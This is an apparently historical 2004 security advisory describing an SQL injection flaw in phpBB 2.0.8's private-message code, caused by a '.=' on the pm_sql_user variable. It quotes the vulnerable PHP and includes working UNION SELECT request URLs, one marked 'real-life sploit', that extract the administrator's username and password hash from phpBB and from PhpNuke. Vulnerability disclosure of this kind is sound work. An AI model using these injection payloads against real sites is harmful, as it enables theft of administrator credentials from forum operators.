waraxe-2004-SA013.txt

`  
  
  
  
{================================================================================}  
{ [waraxe-2004-SA#013] }  
{================================================================================}  
{ }  
{ [ Critical sql injection bug in PhpBB 2.0.8 and in older versions ] }  
{ }  
{================================================================================}  
  
Author: Janek Vind "waraxe"  
Date: 26. March 2004  
Location: Estonia, Tartu  
  
  
  
Affected software description:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
  
PhpBB is widely used and very popular forum software, written in php.  
Homepage: http://www.phpbb.com/  
  
  
  
Vulnerabilities:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
PhpBB 2.0.x is written very carefully and securely. But even there can be bugs, which  
will give to potential malicious attacker sensitive information from database - admin's  
username and password's md5 hash.  
  
So, let's look at original code from privmsg.php line 189:  
  
  
*************************************************************************************  
  
// SQL to pull appropriate message, prevents nosey people  
// reading other peoples messages ... hopefully!  
//  
switch( $folder )  
{  
case 'inbox':  
$l_box_name = $lang['Inbox'];  
$pm_sql_user = "AND pm.privmsgs_to_userid = " . $userdata['user_id'] . "   
AND ( pm.privmsgs_type = " . PRIVMSGS_READ_MAIL . "   
OR pm.privmsgs_type = " . PRIVMSGS_NEW_MAIL . "   
OR pm.privmsgs_type = " . PRIVMSGS_UNREAD_MAIL . " )";  
break;  
case 'outbox':  
$l_box_name = $lang['Outbox'];  
$pm_sql_user = "AND pm.privmsgs_from_userid = " . $userdata['user_id'] . "   
AND ( pm.privmsgs_type = " . PRIVMSGS_NEW_MAIL . "  
OR pm.privmsgs_type = " . PRIVMSGS_UNREAD_MAIL . " ) ";  
break;  
case 'sentbox':  
$l_box_name = $lang['Sentbox'];  
$pm_sql_user = "AND pm.privmsgs_from_userid = " . $userdata['user_id'] . "   
AND pm.privmsgs_type = " . PRIVMSGS_SENT_MAIL;  
break;  
case 'savebox':  
$l_box_name = $lang['Savebox'];  
$pm_sql_user .= "AND ( ( pm.privmsgs_to_userid = " . $userdata['user_id'] . "  
AND pm.privmsgs_type = " . PRIVMSGS_SAVED_IN_MAIL . " )   
OR ( pm.privmsgs_from_userid = " . $userdata['user_id'] . "  
AND pm.privmsgs_type = " . PRIVMSGS_SAVED_OUT_MAIL . " )   
)";  
break;  
default:  
message_die(GENERAL_ERROR, $lang['No_such_folder']);  
break;  
}  
  
//  
// Major query obtains the message ...  
//  
$sql = "SELECT u.username AS username_1, u.user_id AS user_id_1, u2.username AS username_2, u2.user_id AS user_id_2, u.user_sig_bbcode_uid, u.user_posts, u.user_from, u.user_website, u.user_email, u.user_icq, u.user_aim, u.user_yim, u.user_regdate, u.user_msnm, u.user_viewemail, u.user_rank, u.user_sig, u.user_avatar, pm.*, pmt.privmsgs_bbcode_uid, pmt.privmsgs_text  
FROM " . PRIVMSGS_TABLE . " pm, " . PRIVMSGS_TEXT_TABLE . " pmt, " . USERS_TABLE . " u, " . USERS_TABLE . " u2   
WHERE pm.privmsgs_id = $privmsgs_id  
AND pmt.privmsgs_text_id = pm.privmsgs_id   
$pm_sql_user   
AND u.user_id = pm.privmsgs_from_userid   
AND u2.user_id = pm.privmsgs_to_userid";  
  
*****************************************************************************  
  
As we can see, for some reason there is "$pm_sql_user .=" in case of 'savebox'. Funny thing is, that  
this little bug can open critical security hole to forum. First, let's try this:  
  
http://localhost/phpbb206c/privmsg.php?folder=savebox&mode=read&p=99&pm_sql_user=foobar  
  
and we get error message:  
  
General Error   
  
Could not query private message post information  
  
DEBUG MODE  
  
SQL Error : 1064 You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'foobarAND ( ( pm.privmsgs_to_userid = 2 AND pm.privmsgs_t  
  
SELECT u.username AS username_1, u.user_id AS user_id_1, u2.username AS username_2, u2.user_id AS user_id_2, u.user_sig_bbcode_uid, u.user_posts, u.user_from, u.user_website, u.user_email, u.user_icq, u.user_aim, u.user_yim, u.user_regdate, u.user_msnm, u.user_viewemail, u.user_rank, u.user_sig, u.user_avatar, pm.*, pmt.privmsgs_bbcode_uid, pmt.privmsgs_text FROM phpbb_privmsgs pm, phpbb_privmsgs_text pmt, phpbb_users u, phpbb_users u2 WHERE pm.privmsgs_id = 99 AND pmt.privmsgs_text_id = pm.privmsgs_id foobarAND ( ( pm.privmsgs_to_userid = 2 AND pm.privmsgs_type = 3 ) OR ( pm.privmsgs_from_userid = 2 AND pm.privmsgs_type = 4 ) ) AND u.user_id = pm.privmsgs_from_userid AND u2.user_id = pm.privmsgs_to_userid  
  
Line : 238  
File : D:\apache_wwwroot\phpbb206c\privmsg.php   
  
  
Next, if we request this:  
  
http://localhost/phpbb206c/privmsg.php?folder=savebox&mode=read&p=99&pm_sql_user=AND%20pm.privmsgs_type=-99%20UNION%20SELECT%20null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/*  
  
then we don't get any error messages. Now it's time to do something "useful":  
  
********************[real-life sploit]********************  
  
  
http://localhost/phpbb206c/privmsg.php?folder=savebox&mode=read&p=99&pm_sql_user=AND%20pm.privmsgs_type=-99%20UNION%20SELECT%20username,null,user_password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null FROM phpbb_users WHERE user_level=1 LIMIT 1/*  
  
  
********************[/real-life sploit]*******************  
  
and we will see in plaintext admin's username and password's md5 hash ;)  
  
And to all PhpNuke 6.x and 7.x users, here is something for you:  
  
http://localhost/nuke69j1/modules.php?name=Private_Messages&file=index&folder=savebox&mode=read&p=99&pm_sql_user=AND%20pm.privmsgs_type=-99%20UNION%20SELECT%20aid,null,pwd,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20nuke_authors%20WHERE%20radminsuper=1%20LIMIT%201/*  
  
  
  
Post Scriptum:   
  
I really enjoy reading of the PhpBB 2.x code, because it is written with good style and it's  
very secure. To all php programmers - I recommend to read the file "docs\codingstandards.htm" from  
phpbb package, it will help to learn good style of the programming!  
  
  
  
  
Greetings:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Greets to torufoorum members and to all bugtraq readers in Estonia! Tervitused!  
Special greets to Stefano from UT Bee Clan!  
  
  
  
Contact:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
[email protected]  
Janek Vind "waraxe"  
  
---------------------------------- [ EOF ] ------------------------------------  
`